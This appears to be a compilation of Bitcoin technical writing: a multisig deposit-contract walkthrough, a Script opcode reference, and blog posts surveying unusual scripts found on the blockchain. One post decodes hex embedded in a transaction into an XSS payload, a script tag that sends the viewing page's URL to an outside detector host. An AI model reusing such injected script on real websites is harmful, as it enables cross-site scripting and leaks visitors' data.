Engineering

“Freedom and accountability are two sides of the same coin.” ― Frédéric Laloux

title: Deposit Alice-->Bob: APK Bob-->Alice: BPK Note over Alice: Tx1 = APK+[10.0]+BPK Note over Alice: HTx1 = Hash(Tx1) Alice-->Bob: HTx1 Note over Bob: Tx2 = (0,+HTx1+BPK+DATE) Bob-->Alice: Tx2 Alice->Bob: Tx1 Alice->Bob: APK+Tx2 Note over Alice,Bob: (0,APK+HTx1+BPK+DATE)

Example 1: Providing a deposit

Alice opens an account with Bob’s Betting and wishes to establish her trustworthiness with Bob, but she doesn’t have any pre-existing reputation to leverage. One solution is to buy trust by paying Bob some money. But if at some point Alice closes her account, she’d probably like that money back. Alice may not trust Bob enough to give him a deposit that he might be tempted to spend. Another risk is that Bob might just disappear one day.

Alice’s goal is to prove that she made a sacrifice of some kind so Bob knows she’s not a timewaster, but Alice doesn’t want Bob to be able to spend the money. And if Bob disappears, Alice’d eventually like the coins back without needing anything from him.

We can solve this problem with a contract:

  • Alice and Bob send each other a newly-generated public key.
  • Alice creates transaction Tx1 (the payment) putting 10 BTC into an output that requires both her and Bob to sign, but does not broadcast it. Alice uses the key Bob sent her in the previous step.
  • Alice sends the hash of Tx1 to Bob.
  • Bob creates a transaction Tx2 (the contract). Tx2 spends Tx1 and pays it back to Alice via the address she provided in the first step. Note that Tx1 requires two signatures, so this transaction can’t be complete. nLockTime is set to some date in the future (eg, six months). The sequence number on the input is set to zero.
  • Finally, Bob sends the incomplete (half-signed) transaction back to Alice. She checks that the contract is as expected - that the coins will eventually come back to her - but, unless things are changed, only after six months. Because the sequence number is zero, the contract can be amended in future if both parties agree. The script in the input isn’t finished though; there are only zeros where Alice’s signature should be. She fixes that by signing the contract and putting the new signature in the appropriate spot.
  • Alice broadcasts Tx1 (which Bob sees), then broadcasts Tx2 (also seen by Bob).
  • At this stage, the 10 BTC are in a state where neither Alice nor Bob can spend them independently. After six months, the contract will complete and Alice will get her 10 BTC back, even if Bob disappears.

What if Alice wishes to close her account early?

Bob creates a new version of Tx2 with nLockTime set to zero and the input sequence number set to UINT_MAX, then he re-signs it. He then hands the tx back to Alice, who signs it as well. Alice then broadcasts the transaction, terminating the contract early and releasing the coins.

What if the six months is nearly up and Alice wishes to keep her account?

The same thing applies: the contract can be re-signed with a newer nLockTime, a sequence number 1 higher than the previous and rebroadcast 2^32 times. No matter what happens, both parties must agree for the contract to change.

What if Alice turns out to be a numpty?

Bob will not allow an early close of the contract, Alice will have to wait for her coins. If Alice‘s need for support becomes disproportionate, the size of the deposit can be raised or the length of the contract can be increased.


See also: Secure Multiparty Computations on Bitcoin

Exploiting the blockchain to store information

How to use the blockchain to store data encoded in hexadecimal, such as the image of Nelson Mandela.

Send a tiny amount of bitcoins to fake addresses such as 15gHNr4TCKmhHDEG31L2XFNvpnEcnPSQvd. This address is stored in the blockchain as hex 334E656C736F6E2D4D616E64656C612E6A70673F. If you convert those hex bytes to Unicode, you get the string Nelson-Mandela.jpg, representing the image filename. Similarly, addresses encode the data for the image. Thus, text, images, and other content can be stored on the blockchain by using correctly-calculated fake addresses.

Explanation taken from Ken Shirrif’s blog

Script language

Defined for Bitcoin Core 0.11.

Constants

When talking about scripts, these value-pushing words are usually omitted.

WordOpcodeHexInputOutputDescription
OP_0, OP_FALSE00x00Nothing.(empty value)An empty array of bytes is pushed onto the stack. (Not a no-op: an item is added to the stack.)
N/A1-750x01-0x4b(special)dataThe next opcode bytes is data to be pushed onto the stack
OP_PUSHDATA1760x4c(special)dataThe next byte contains the number of bytes to be pushed onto the stack.
OP_PUSHDATA2770x4d(special)dataThe next two bytes contain the number of bytes to be pushed onto the stack.
OP_PUSHDATA4780x4e(special)dataThe next four bytes contain the number of bytes to be pushed onto the stack.
OP_1NEGATE790x4fNothing. -1The number -1 is pushed onto the stack.
OP_1, OP_TRUE810x51Nothing.1The number 1 is pushed onto the stack.
OP_2-OP_1682-960x52-0x60Nothing.2-16The number in the word name (2-16) is pushed onto the stack.

Flow control

WordOpcodeHexInputOutputDescription
OP_NOP970x61NothingNothingDoes nothing.
OP_IF990x63<expression> if [statements] [else [statements]]* endifIf the top stack value is not 0, the statements are executed. The top stack value is removed.
OP_NOTIF1000x64<expression> if [statements] [else [statements]]* endifIf the top stack value is 0, the statements are executed. The top stack value is removed.
OP_ELSE1030x67<expression> if [statements] [else [statements]]* endifIf the preceding OP_IF or OP_NOTIF or OP_ELSE was not executed then these statements are.*
OP_ENDIF1040x68<expression> if [statements] [else [statements]]* endifEnds an if/else block. All blocks must end, or the transaction is invalid. An OP_ENDIF without OP_IF earlier is also invalid.
OP_VERIFY1050x69True / falseNothing / FalseMarks transaction as invalid if top stack value is not true.
OP_RETURN1060x6aNothingNothingMarks transaction as invalid. **

(*) and if the preceding OP_IF or OP_NOTIF or OP_ELSE was executed then these statements are not

(**) A standard way of attaching extra data to transactions is to add a zero-value output with a scriptPubKey consisting of OP_RETURN followed by exactly one pushdata op. Such outputs are provably unspendable, reducing their cost to the network. Currently it is usually considered non-standard (though valid) for a transaction to have more than one OP_RETURN output or an OP_RETURN output with more than one pushdata op.

Stack

WordOpcodeHexInputOutputDescription
OP_TOALTSTACK1070x6bx1(alt)x1Puts the input onto the top of the alt stack. Removes it from the main stack.
OP_FROMALTSTACK1080x6c(alt)x1x1Puts the input onto the top of the main stack. Removes it from the alt stack.
OP_IFDUP1150x73xx / x xIf the top stack value is not 0, duplicate it.
OP_DEPTH1160x74Nothing<Stack size>Puts the number of stack items onto the stack.
OP_DROP1170x75xNothingRemoves the top stack item.
OP_DUP1180x76xx xDuplicates the top stack item.
OP_NIP1190x77x1 x2x2Removes the second-to-top stack item.
OP_OVER1200x78x1 x2x1 x2 x1Copies the second-to-top stack item to the top.
OP_PICK1210x79xn ... x2 x1 x0 <n>xn ... x2 x1 x0 xnThe item n back in the stack is copied to the top.
OP_ROLL1220x7axn ... x2 x1 x0 <n>... x2 x1 x0 xnThe item n back in the stack is moved to the top.
OP_ROT1230x7bx1 x2 x3x2 x3 x1The top three items on the stack are rotated to the left.
OP_SWAP1240x7cx1 x2x2 x1The top two items on the stack are swapped.
OP_TUCK1250x7dx1 x2x2 x1 x2The item at the top of the stack is copied and inserted before the second-to-top item.
OP_2DROP1090x6dx1 x2NothingRemoves the top two stack items.
OP_2DUP1100x6ex1 x2x1 x2 x1 x2Duplicates the top two stack items.
OP_3DUP1110x6fx1 x2 x3x1 x2 x3 x1 x2 x3Duplicates the top three stack items.
OP_2OVER1120x70x1 x2 x3 x4x1 x2 x3 x4 x1 x2Copies the pair of items two spaces back in the stack to the front.
OP_2ROT1130x71x1 x2 x3 x4 x5 x6x3 x4 x5 x6 x1 x2The fifth and sixth items back are moved to the top of the stack.
OP_2SWAP1140x72x1 x2 x3 x4x3 x4 x1 x2Swaps the top two pairs of items.

Splice

If any opcode marked as disabled is present in a script, it must abort and fail.

WordOpcodeHexInputOutputDescription
OP_CAT1260x7ex1 x2out Concatenates two strings. disabled.
OP_SUBSTR1270x7fin begin sizeout Returns a section of a string. disabled.
OP_LEFT1280x80in sizeout Keeps only characters left of the specified point in a string. disabled.
OP_RIGHT1290x81in sizeout Keeps only characters right of the specified point in a string. disabled.
OP_SIZE1300x82inin sizePushes the string length of the top element of the stack (without popping it).

Bitwise logic

If any opcode marked as disabled is present in a script, it must abort and fail.

WordOpcodeHexInputOutputDescription
OP_INVERT1310x83inout Flips all of the bits in the input. disabled.
OP_AND1320x84x1 x2out Boolean and between each bit in the inputs. disabled.
OP_OR1330x85x1 x2out Boolean or between each bit in the inputs. disabled.
OP_XOR1340x86x1 x2out Boolean exclusive or between each bit in the inputs. disabled.
OP_EQUAL1350x87x1 x2True / falseReturns 1 if the inputs are exactly equal, 0 otherwise.
OP_EQUALVERIFY1360x88x1 x2True / falseSame as OP_EQUAL, but runs OP_VERIFY afterward.

Arithmetic

Note: Arithmetic inputs are limited to signed 32-bit integers, but may overflow their output.

If any input value for any of these commands is longer than 4 bytes, the script must abort and fail. If any opcode marked as disabled is present in a script - it must also abort and fail.

WordOpcodeHexInputOutputDescription
OP_1ADD1390x8binout1 is added to the input.
OP_1SUB1400x8cinout1 is subtracted from the input.
OP_2MUL1410x8dinout The input is multiplied by 2. disabled.
OP_2DIV1420x8einout The input is divided by 2. disabled.
OP_NEGATE1430x8finoutThe sign of the input is flipped.
OP_ABS1440x90inoutThe input is made positive.
OP_NOT1450x91inoutIf the input is 0 or 1, it is flipped. Otherwise the output will be 0.
OP_0NOTEQUAL1460x92inoutReturns 0 if the input is 0. 1 otherwise.
OP_ADD1470x93a bouta is added to b.
OP_SUB1480x94a boutb is subtracted from a.
OP_MUL1490x95a bout a is multiplied by b. disabled.
OP_DIV1500x96a bout a is divided by b. disabled.
OP_MOD1510x97a bout Returns the remainder after dividing a by b. disabled.
OP_LSHIFT1520x98a bout Shifts a left b bits, preserving sign. disabled.
OP_RSHIFT1530x99a bout Shifts a right b bits, preserving sign. disabled.
OP_BOOLAND1540x9aa boutIf both a and b are not 0, the output is 1. Otherwise 0.
OP_BOOLOR1550x9ba boutIf a or b is not 0, the output is 1. Otherwise 0.
OP_NUMEQUAL1560x9ca boutReturns 1 if the numbers are equal, 0 otherwise.
OP_NUMEQUALVERIFY1570x9da boutSame as OP_NUMEQUAL, but runs OP_VERIFY afterward.
OP_NUMNOTEQUAL1580x9ea boutReturns 1 if the numbers are not equal, 0 otherwise.
OP_LESSTHAN1590x9fa boutReturns 1 if a is less than b, 0 otherwise.
OP_GREATERTHAN1600xa0a boutReturns 1 if a is greater than b, 0 otherwise.
OP_LESSTHANOREQUAL1610xa1a boutReturns 1 if a is less than or equal to b, 0 otherwise.
OP_GREATERTHANOREQUAL1620xa2a boutReturns 1 if a is greater than or equal to b, 0 otherwise.
OP_MIN1630xa3a boutReturns the smaller of a and b.
OP_MAX1640xa4a boutReturns the larger of a and b.
OP_WITHIN1650xa5x min maxoutReturns 1 if x is within the specified range (left-inclusive), 0 otherwise.

Crypto

WordOpcodeHexInputOutputDescription
OP_RIPEMD1601660xa6inhashThe input is hashed using RIPEMD-160.
OP_SHA11670xa7inhashThe input is hashed using SHA-1.
OP_SHA2561680xa8inhashThe input is hashed using SHA-256.
OP_HASH1601690xa9inhashThe input is hashed twice: first with SHA-256 and then with RIPEMD-160.
OP_HASH2561700xaainhashThe input is hashed two times with SHA-256.
OP_CODESEPARATOR1710xabNothingNothingSignature checking words will only match sigs to data after the most recently-executed OP_CODESEPARATOR.
OP_CHECKSIG1720xacsig pubkeyTrue / falseThe entire transaction's outputs, inputs, and script are hashed.*
OP_CHECKSIGVERIFY1730xadsig pubkeyTrue / falseSame as OP_CHECKSIG, but OP_VERIFY is executed afterward.
OP_CHECKMULTISIG1740xaex sig1 sig2 ... <#sigs> pub1 pub2 <#keys>True / FalseCompares the first signature against each public key until it finds an ECDSA match.**
OP_CHECKMULTISIGVERIFY1750xafx sig1 sig2 ... <#sigs> pub1 pub2 ... <#keys>True / FalseSame as OP_CHECKMULTISIG, but OP_VERIFY is executed afterward.

(*) (i.e.from the most recently-executed OP_CODESEPARATOR to the end) The signature used by OP_CHECKSIG must be a valid signature for this hash and public key. If it is, 1 is returned, 0 otherwise.

(**) Starting with the subsequent public key, it compares the second signature against each remaining public key until it finds an ECDSA match. The process is repeated until all signatures have been checked or not enough public keys remain to produce a successful result. All signatures need to match a public key. Because public keys are not checked again if they fail any signature comparison, signatures must be placed in the scriptSig using the same order as their corresponding public keys were placed in the scriptPubKey or redeemScript. If all signatures are valid, 1 is returned, 0 otherwise. Due to a bug, one extra unused value is removed from the stack.

Pseudo-words

These words are used internally for assisting with transaction matching. They are invalid if used in actual scripts.

WordOpcodeHexDescription
OP_PUBKEYHASH2530xfdRepresents a public key hashed with OP_HASH160.
OP_PUBKEY2540xfeRepresents a public key compatible with OP_CHECKSIG.
OP_INVALIDOPCODE2550xffMatches any opcode that is not yet assigned.

Reserved words

Any opcode not assigned is also reserved. Using an unassigned opcode makes the transaction invalid.

WordOpcodeHexWhen used...
OP_RESERVED800x50Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_VER980x62Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_VERIF1010x65Transaction is invalid even when occuring in an unexecuted OP_IF branch
OP_VERNOTIF1020x66Transaction is invalid even when occuring in an unexecuted OP_IF branch
OP_RESERVED11370x89Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_RESERVED21380x8aTransaction is invalid unless occuring in an unexecuted OP_IF branch
OP_NOP1-OP_NOP10176-1850xb0-0xb9The word is ignored. Does not mark transaction as invalid.

Scripts

This is a list of interesting scripts. Keep in mind that all constants actually use the data-pushing commands above. Note that there is a small number of standard script forms that are relayed from node to node; non-standard scripts are accepted if they are in a block, but nodes will not relay them.

Standard Transaction to Bitcoin address (pay-to-pubkey-hash)

scriptPubKey: OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG
scriptSig: <sig> <pubKey>

Note: scriptSig is in the input of the spending transaction and scriptPubKey is in the output of the previously unspent i.e. “available” transaction.

Obsolete pay-to-pubkey transaction

OP_CHECKSIG is used directly without first hashing the public key.

This was used by early versions of Bitcoin where people paid directly to IP addresses, before Bitcoin addresses were introduced.

The scriptPubKeys of this transaction form are still recognized as payments to user by Bitcoin Core.

The disadvantage of this transaction form is that the whole public key needs to be known in advance, implying longer payment addresses, and that it provides less protection in the event of a break in the ECDSA signature algorithm.

scriptPubKey: <pubKey> OP_CHECKSIG
scriptSig: <sig>

Provably Unspendable/Prunable Outputs

The standard way to mark a transaction as provably unspendable is with a scriptPubKey of the following form:

scriptPubKey: OP_RETURN {zero or more ops}

OP_RETURN immediately marks the script as invalid, guaranteeing that no scriptSig exists that could possibly spend that output. Thus the output can be immediately pruned from the UTXO set even if it has not been spent.

eb31ca1a4cbd97c2770983164d7560d2d03276ae1aee26f12d7c2c6424252f29 is an example: it has a single output of zero value, thus giving the full 0.125BTC fee to the miner who mined the transaction without adding an entry to the UTXO set.

You can also use OP_RETURN to add data to a transaction without the data ever appearing in the UTXO set, as seen in 1a2e22a717d626fc5db363582007c46924ae6b28319f07cb1b907776bd8293fc; does this with the share chain hash txout in the coinbase of blocks it creates.

Input Script

3044022055bcb36c829a614451787fe8c9bfb3798b683809b65b92037a015e \
ccb5ff659702202461d2c708a4fd57c839e43634e8c02935d7b7d1db5b9784 \
32b0674c44645ed101 
032c1ea520c25c4e66831cd395a3cd26f0e0a1472a3103fc8a4a63ef10e92d123c

Output script

OP_RETURN 215477656e74792062797465206469676573742e 

Anyone-Can-Spend Outputs

Conversely a transaction can be made spendable by anyone at all:

scriptPubKey: (empty)
scriptSig: OP_TRUE

With some software changes such transactions can be used as a way to donate funds to miners in addition to transaction fees: any miner who mines such a transaction can also include an additional one after it sending the funds to an address they control. This mechanism may be used in the future for fidelity bonds to sacrifice funds in a provable way.

Anyone-Can-Spend outputs are currently considered non-standard, and are not relayed on the P2P network.

Transaction puzzle

Transaction a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b is an interesting puzzle.

scriptPubKey: OP_HASH256 6fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000 OP_EQUAL
scriptSig: <data>

To spend the transaction you need to come up with some data such that hashing the data twice results in the given hash.

Data goes on the stack, as do results. Instructions operate on the stack.

StackScriptDescription
Empty.<data> OP_HASH256 <given_hash> OP_EQUAL
<data>OP_HASH256 <given_hash> OP_EQUALscriptSig added to the stack.
<data_hash><given_hash> OP_EQUALThe data is hashed.
<data_hash> <given_hash>OP_EQUALThe given hash is pushed to the stack.
trueEmpty.The hashes are compared, leaving true on the stack.

This transaction was successfully spent by 09f691b2263260e71f363d1db51ff3100d285956a40cc0e4f8c8c2c4a80559b1. The required data happened to be the Genesis block, and the given hash was the genesis block hash.

Note that while transactions like this are fun, they are not secure, because they do not contain any signatures and thus any transaction attempting to spend them can be replaced with a different transaction sending the funds somewhere else.


Antoine Le Calvet

A look at Bitcoin non-standard outputs

Bitcoin transactions are validated using https://en.bitcoin.it/wiki/Script. Nowadays, the great majority of users and wallets use standard scripts forms, http://p2sh.info. The remaining 0.01% of non-standard outputs use more complex script forms, represent challenges, or just are the result of bugs. In this post, I’ll look at some different families of non-standard outputs. The data was collected using https://github.com/alecalve/bitcoin-blockchain-parser a Python 3 library I wrote to parse bitcoind database files.

The Bitcoin script language

Present since the first version of Bitcoin, but absent from https://bitcoin.org/bitcoin.pdf the Bitcoin script language is stack based, like https://en.wikipedia.org/wiki/Forth_%28programming_language%29, and is used to validate transactions. In order to spend Bitcoins, a user must provide the missing part of a script that describes how to spend them. This makes Bitcoin a programmable money.

The most common script form is called https://en.bitcoin.it/wiki/Transaction#Pay-to-PubkeyHash. When redeeming Bitcoins secured by this script form, the user must provide a public key corresponding to a given hash and then sign the transaction with the private key, hence proving he owns the coins.

The available instruction set is not limited to cryptographic operations and allows users to build complex scripts. Conditional flow, arithmetic operations, hash functions, etc. can be used to validate transactions. However, a lot of instructions, such as most of the string related operations as well as some arithmetic and bitwise logic operators, are disabled due to security concerns.

Mistakes and bugs

Some non-standard scripts are visibly the result of mistakes or bugs.

Between February 2nd, 2012 and April 1st, 2012, a bug in P2Pool software created a bogus output at the end of every coinbase of the majority of the blocks the pool mined. The total amount lost was 0.60280235 BTC. This bogus output was:

OP_IFDUP OP_IF OP_2SWAP OP_VERIFY OP_2OVER OP_DEPTH

This script does not make any sense and is not even valid as the OP_IF is not closed by a corresponding OP_ENDIF. However, we can understand what happened by looking at the script’s ascii value: “script”. A discussion of the event is available on this https://bitcointalk.org/index.php?topic=67158.0.

Another series of non-standard outputs due to a bug occured on November 28th, 2011. In these outputs, the script structure is identical to a Pay-To-PubkeyHash output, with the difference that the pubkeyhash is set to a null byte, making them unspendable. This time, the outputs represents a value of 2609.36304319 BTC, around $8000 at that time. A https://bitcointalk.org/index.php?topic=50206.0 indicates that this mistake was made by MtGox and represented a loss of one week of their BTC-only revenue.

Hash function challenges

Another family of non-standard outputs uses the presence of standard hash functions in the script instruction set to create challenges. These outputs can only be spent by providing data that once hashed by a cryptographic function is equal to a given hash.

Using such outputs to secure Bitcoins is not secure at all as anyone can reproduce a transaction spending such outputs. At least 55 outputs used this technique, representing a combined value of 2.04 BTC. At the moment I write these lines, only 5 of these outputs remain unpsent, with a combined value of 1.0056 BTC. The biggest https://blockchain.info/tx/af32bb06f12f2ae5fdb7face7cd272be67c923e86b7a66a76ded02d954c2f94d (1 BTC) is interesting. In order to spend it, you must provide data that gives the following hash when hashed twice using SHA-256:

000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f

This is the hash of the genesis block, but as block hashes’ string are represented as the inverse of their hexadecimal value, this script is for the moment unredeemable.

Stealth outputs

Some non-standard outputs are just standard outputs in disguise, using the OP_DROP operator to add data that is discarded during verification.

For example, in this https://blockchain.info/tx/c0b2cf75b47d1e7f48cdb4287109ff1dd5bcf146d5f77a9e8784c0c9c0ef02ad, the script :

54686543616b654973414c69650a OP_DROP
OP_DUP OP_HASH160
d92d8d187f3bf869c1695bba74a9c57a4a84f0b1
OP_EQUALVERIFY OP_CHECKSIG

was used to send 0.2 BTC to the address 1LoLCaTphKrx1ohbRu7r8rPDr5sNq3Kqbg without any block explorer indexing the address.

Only 8 outputs used this technique, the most recent dating back to May 2014, for a combined value of 0.335 BTC.

Trivial scripts

Some scripts are trivial to solve, for example, OP_1, which is in itself a valid script or OP_MIN OP_3 OP_EQUAL, used 4 times, which requires to provide 2 numbers of which the smallest is 3.

Some scripts represent more complex mathematical equations, such as:

OP_2DUP OP_ADD OP_8 OP_EQUALVERIFY OP_SUB OP_2 OP_EQUAL

which represents the equation:

x + y - 8 = x - y - 2 = 0

This script was redeemed using x=5 and y=3 (the only solution).

Another equation can be found in this https://blockchain.info/tx/a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24:

OP_ADD OP_ADD OP_13 OP_EQUAL 203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d5c27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f62633d62746326687265663d27202b206c6f636174696f6e2e68726566202b20275c273e27293b3c2f7363726970743e20 OP_DROP

The script itself is made of two parts, a mathematical equation :

x + y + z = 13

And an XSS detector, a hex value is pushed then dropped from the stack and represents the ascii for:

&lt;script type=’text/javascript’&gt;document.write(‘&lt;img src=\’http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&amp;href=&#39; + location.href + ‘\’&gt;’);&lt;/script&gt;

This output was https://blockchain.info/tx-index/58459652 with the numbers 4, 6 and 3.

Conclusion

This post does not cover all the non-standard scripts present in the blockchain but highlight some I found interesting to explain. Some websites, such as http://bitcoinstrings.com, or this very complete http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html found out other interesting data hidden in the blockchain.

Non-standard P2SH scripts

In a previous article, I explored different forms of non-standard scripts present in the Bitcoin blockchain. In this article, I’ll focus on non-standard scripts use in pay-to-script-hash (P2SH) transactions.

How does P2SH works?

All bitcoins are secured by a script: a sequence of instructions describing how to spend the bitcoins it secures. When spending bitcoins, arguments resulting in a valid execution of the script must be provided. While the underlying language used for these scripts can handle many different operations (arithmetic, cryptography, string operations, …), only a few standard script templates are broadcasted by Bitcoin peers.

Among them is P2SH, pay-to-script-hash. P2SH Bitcoin addresses (those beginning with a ‘3’) encode the cryptographic hash of a script, instead of encoding a ECDSA public key like the first version of Bitcoin addresses (beginning with a ‘1’). The hashed script, along with the arguments needed for its valid execution, are only revealed when spending the bitcoins sent to a P2SH address.

The main use of P2SH is multisig, 99% of known P2SH scripts use it. The remaining 1% is what I explored.

Open Assets

The main source of non standard P2SH scripts is the Open Assets Protocol. Around 78% of the 31.300 non-standard scripts I studied were Open Assets definition pointers.

Open Assets is a colored coins protocol that’s been implemented for Bitcoin. The goal of this protocol is to be able to define and trade real world assets using the Bitcoin blockchain. The first part in this protocol is inserting a reference to the asset definition (a document describing the asset, the conditions attached to it, the issuer’s identity, …) in the blockchain.

The reference is usually the document’s hash160. It’s also possible to create a asset definition pointer by using the document’s URL and its SHA-256. However, this type of asset definition pointer is too big to be put in the marker output like the hash160. The solution is put to use P2SH to include arbitrary data in the blockchain. The marker data is inserted in a standard script but discarded when executing the script, hence making it present in the blockchain but not making the transaction unspendable.

Around 24.000 thousands assets have been defined this way, the great majority (22.000) of these assets are stocks (from the NASDAQ’s website and stock.com), they were defined around July 21st, 2015.

Storing text

From emails, code to advertising, the blockchain contains a lot of text. Even the first Bitcoin transaction ever contained the text:

The Times 03/Jan/2009 Chancellor on brink of second bailout for banks

implying that the creation of Bitcoin was a reaction to the 2008 crisis.

P2SH is convenient when storing text in the blockchain as it’s possible to store up to 1.5KB of text at a time.

I focused on a specific type of script used to store text in the blockchain, it is the most common script used to that effect. Here’s an annotated example of this script storing a payload split in two parts:

&lt;signature&gt;                         # An ECDSA signature
&lt;text&gt; &lt;text&gt;                       # The text payload split in 2
OP_HASH160 &lt;hash160&gt; OP_EQUALVERIFY # Checking the 2nd part&#39;s hash
OP_HASH160 &lt;hash160&gt; OP_EQUALVERIFY # Checking the 1st part&#39;s hash
&lt;pk&gt; OP_CHECKSIGVERIFY              # Checking the signature
&lt;n&gt; OP_DROP                         # Pushing then dropping a number
OP_DEPTH OP_0 OP_EQUAL              # Checking if the stack is empty

This kind of Bitcoin script comes from a Python script authored by Peter Todd, a Bitcoin Core developer. Each part of the text is a line from the original text, the <n> OP_DROP part is just to ensure a unique script hash if the same text is used with the same public key, finally, the check for an empty stack is there to prevent script malleability.

This first time this Python script was used was on April, 1st 2015 and consisted of publishing the Python script itself (PGP signed by Peter Todd) along with a rather nonsensical Cointelegraph article mentioning «a small script embedded into the blockchain that either forces the download and install of more powerful code».

Other texts included in the blockchain using this script are varied, from Neals Stephenson’s Cryptonomicon and Unix — The Hole Hawg, logs from the #bitcoin-wizards IRC channel, satoshi’s posts on Bitcointalk, bitcoin-dev mails and reddit comments.

Trivial scripts

As with normal scripts, P2SH scripts also encode trivial scripts, that can be spent without providing any ECDSA signature nor hard work.

For example, the script:

OP_3 OP_5 OP_4
OP_3DUP
OP_ADD OP_9 OP_EQUALVERIFY
OP_ADD OP_7 OP_EQUALVERIFY
OP_ADD OP_8 OP_EQUALVERIFY
OP_1

encodes the equation system:

z + y = 9, z + x = 7, x + y = 8

whose only solution is x=3, y=5 and z=4.

This script’s address is 3MbZjYS1Kjo5An9vVCwZYTd2JeobwjUsFh and it was published and spent on November 21st, 2015.

Another example of non-standard P2SH script is:

OP_1
1449587175 OP_CHECKLOCKTIMEVERIFY OP_DROP
OP_1 OP_ADD OP_2 OP_EQUAL

This script uses the newest addition to the script instruction set: OP_CHECKLOCKTIMEVERIFY (CLTV). It’s a normal 1 + 1 = 2 script, with the twist that it can’t be spent until a given point in time.

Introduced by BIP-65, and recently activated in a softfork, CLTV allows users to make a transaction spendable only after a point in the future. For this example, this script was spendable only after December 8th, 2015 at 3:06pm (UTC) and was spent on December 8th, 2015 at 3:21pm (UTC) making it the first transaction using CLTV.

Conclusion

Non-standard scripts are now mainly created using P2SH, in the last 2 months, only a handful of non-P2SH non-standard scripts have been mined. As for my previous article, I focused on scripts that I found interesting, not on all of the non-standard P2SH scripts.

A list of all non-standard P2SH scripts is available at this address.